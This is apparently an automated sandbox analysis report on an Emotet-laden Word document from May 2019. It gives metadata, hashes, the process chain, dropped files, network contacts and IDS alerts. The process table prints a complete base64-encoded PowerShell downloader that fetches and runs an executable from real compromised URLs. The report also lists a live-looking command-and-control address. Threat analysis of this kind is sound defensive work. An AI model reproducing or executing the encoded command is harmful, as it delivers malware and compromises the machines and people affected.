File name: | FILE_4457606037US_May_17_2019.doc |
Full analysis: | https://app.any.run/tasks/4d775c29-4ff4-4e8f-8133-3d6a36aaeb9e |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | May 20, 2019, 13:24:23 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: robust, Subject: Gorgeous, Author: Roxane Stroman, Comments: Portugal District payment, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri May 17 06:55:00 2019, Last Saved Time/Date: Fri May 17 06:55:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 170, Security: 0 |
MD5: | 198BE6932627F137BDDE928E299D3760 |
SHA1: | 4E306396D7AB442B96ADAF777DBDC2E88F0391E5 |
SHA256: | 590233566DF677701505FA92488B69A803482F2228BAB2AB5B31E84EE6D56E83 |
SSDEEP: | 3072:M77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q4iZEA9tzzr75a9xgwSN:M77HUUUUUUUUUUUUUUUUUUUT52Vx+EA3 |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserTypeLen: | 32 |
---|---|
CompObjUserType: | Microsoft Word 97-2003 Document |
Title: | robust |
Subject: | Gorgeous |
Author: | Roxane Stroman |
Keywords: | - |
Comments: | Portugal District payment |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:05:17 05:55:00 |
ModifyDate: | 2019:05:17 05:55:00 |
Pages: | 1 |
Words: | 29 |
Characters: | 170 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | Rice - Mueller |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 198 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
Manager: | Hermiston |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2564 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FILE_4457606037US_May_17_2019.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3036 | PowErsHell -enC JABjADMANwA1ADcAXwA2ADQAPQAnAGoANQA4ADcANwA1ACcAOwAkAGEAOAAyADkAOAA1ADYAMgAgAD0AIAAnADEAMgAyACcAOwAkAHAAOQAxADkAOAAxADkANgA9ACcAaQAxADkAXwBfADcAMgAnADsAJABZADIANwBfADYANQBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhADgAMgA5ADgANQA2ADIAKwAnAC4AZQB4AGUAJwA7ACQARQAxAF8AMQA0ADgAMgA9ACcAYgAzADMANAA2ADMAMAAyACcAOwAkAG0ANwBfADcAOABfADAAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBgAFQALgB3AGAAZQBgAEIAYwBMAGkARQBOAFQAOwAkAHMANAAyAF8AOAA2ADcAPQAnAGgAdAB0AHAAOgAvAC8AYwBsAGEAcwBzAGkAYwBpAG0AYQBnAGUAcgB5AC4AYwBvAG0ALwBiAHUAcwBpAG4AZQBzAHMALwBpAEEARwBLAGIAeABmAHMAawAvAEAAaAB0AHQAcAA6AC8ALwBlAGQAYQBuAGQAdAByAGkAcwBoAC4AYwBvAG0ALwBiAGwAdQBlAC8AOAB3AHMAZQBfAHoAcgBkAG4AeAAyAGMALQA5ADcANwA1AC8AQABoAHQAdABwADoALwAvAGYAaQBuAGUAdAByAGEAZABlAC4AagBwAC8AZABhAHQAYQAvAG0ARgBhAHAAUgByAE4ARwBFAC8AQABoAHQAdABwADoALwAvAG0AZQBlAG4AYQBrAHMAaABpAG0AYQB0AHIAaQBjAGgAcwBzAC4AZQBkAHUALgBpAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB6AFIAdQBuAHMARwBjAGwAcwAvAEAAaAB0AHQAcAA6AC8ALwB0AGEAbgBpAGIAaQBzAG4AaQBzAC4AdwBlAGIALgBpAGQALwB3AHAALwB4AGEAOQBvAF8AOAA4AHAAagA1AG0AYwByAC0AMgA2AC8AJwAuAFMAUABMAGkAVAAoACcAQAAnACkAOwAkAHcANQA5ADUANwA4ADAAPQAnAFgAOQAxADYANwA2ADAAXwAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAAzADEANgAwADcAXwAgAGkAbgAgACQAcwA0ADIAXwA4ADYANwApAHsAdAByAHkAewAkAG0ANwBfADcAOABfADAALgBEAE8AVwBOAGwATwBBAEQAZgBpAEwARQAoACQAbAAzADEANgAwADcAXwAsACAAJABZADIANwBfADYANQBfACkAOwAkAGkAMgA2ADAAOQBfADgANAA9ACcAYQAxADkAMQA4ADAAMwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFkAMgA3AF8ANgA1AF8AKQAuAEwARQBOAEcAdABIACAALQBnAGUAIAAyADYANAA0ADEAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAWQAyADcAXwA2ADUAXwA7ACQAVQA2ADYAMgA4ADMAPQAnAGsAOQA4ADQAMQA2ADAAMwAnADsAYgByAGUAYQBrADsAJAB6ADYAXwA0ADYANwA1AD0AJwB3ADkAOAAzADcANAA2ADQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAAzADcANQBfADgANwA9ACcAQwA0ADIANQA1ADgAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\PowErsHell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2488 | "C:\Users\admin\122.exe" | C:\Users\admin\122.exe | — | PowErsHell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3992 | --33c65eaf | C:\Users\admin\122.exe | 122.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3124 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 122.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3232 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3116 | "C:\Users\admin\AppData\Local\soundser\VfttsPWYUEO.exe" | C:\Users\admin\AppData\Local\soundser\VfttsPWYUEO.exe | — | soundser.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
808 | --9ec784d1 | C:\Users\admin\AppData\Local\soundser\VfttsPWYUEO.exe | VfttsPWYUEO.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3008 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | VfttsPWYUEO.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2392 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
2564 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3F8D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3036 | PowErsHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5SYLOPCDRTP3P8E74CXA.temp | — | |
MD5:— | SHA256:— | |||
2564 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B25293.wmf | wmf | |
MD5:9F85EFA84BCEF7D4E5BB2359D980D851 | SHA256:E29ABCF63EDC6868E5A79303352899EF01546C172E6B26FBD5474C633E42C71A | |||
2564 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:B19FF5CEFD1DA5D0F2805A945B570C3C | SHA256:F75A592B67565D406D9D7F15EC8C276CD6D0D5E54AD5EF87413F565E44175FC9 | |||
2564 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\264FC378.wmf | wmf | |
MD5:6D0190FBC656B77CD39199DBCC53D222 | SHA256:0E06333D7108C33C6BE0B696F2CE6035EAB80D14B60B27D37C5CE8C7B81D6809 | |||
3036 | PowErsHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF134b35.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
2564 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D0A6BD19.wmf | wmf | |
MD5:B268749B82AB314B069B9D4BC83B4EFA | SHA256:049C2AD46C2D6D662723D37FAB05739B4BFB1A68830EC852D120030153FC2297 | |||
3992 | 122.exe | C:\Users\admin\AppData\Local\soundser\soundser.exe | executable | |
MD5:EF1EC938A6F35DEF6AECAC2729F503A3 | SHA256:20E2CC851E44161E7FA821EA731FD64937F571878DD382F1620636A82DE4355D | |||
2564 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7F409046.wmf | wmf | |
MD5:1012A21156DCFF2937353BEE5985FADC | SHA256:A9F5E85E96612733BB239D8B221DEF29EFFC0E143359BB1A74882EEA75B8B601 | |||
2564 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:BD1D881D742F23A14CD950EE1AD54EEB | SHA256:9501E4717E0A9E79147A18A2733231396E23B344AE0A9063F42637FF7BD801CC |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3232 | soundser.exe | POST | 200 | 69.251.12.43:80 | http://69.251.12.43/taskbar/scripts/ | US | binary | 65.6 Kb | malicious |
2392 | soundser.exe | POST | 200 | 69.251.12.43:80 | http://69.251.12.43/add/forced/ | US | binary | 148 b | malicious |
3036 | PowErsHell.exe | GET | 200 | 59.106.13.51:80 | http://finetrade.jp/data/mFapRrNGE/ | JP | executable | 74.0 Kb | suspicious |
3036 | PowErsHell.exe | GET | 404 | 50.31.162.218:80 | http://classicimagery.com/business/iAGKbxfsk/ | US | text | 9 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3036 | PowErsHell.exe | 59.106.13.51:80 | finetrade.jp | SAKURA Internet Inc. | JP | suspicious |
2392 | soundser.exe | 69.251.12.43:80 | — | Comcast Cable Communications, LLC | US | malicious |
3036 | PowErsHell.exe | 69.41.190.91:80 | edandtrish.com | WZ Communications Inc. | US | suspicious |
3036 | PowErsHell.exe | 50.31.162.218:80 | classicimagery.com | Server Central Network | US | suspicious |
3232 | soundser.exe | 69.251.12.43:80 | — | Comcast Cable Communications, LLC | US | malicious |
Domain | IP | Reputation |
---|---|---|
classicimagery.com |
| malicious |
edandtrish.com |
| suspicious |
finetrade.jp |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
3036 | PowErsHell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3036 | PowErsHell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3036 | PowErsHell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3232 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2392 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |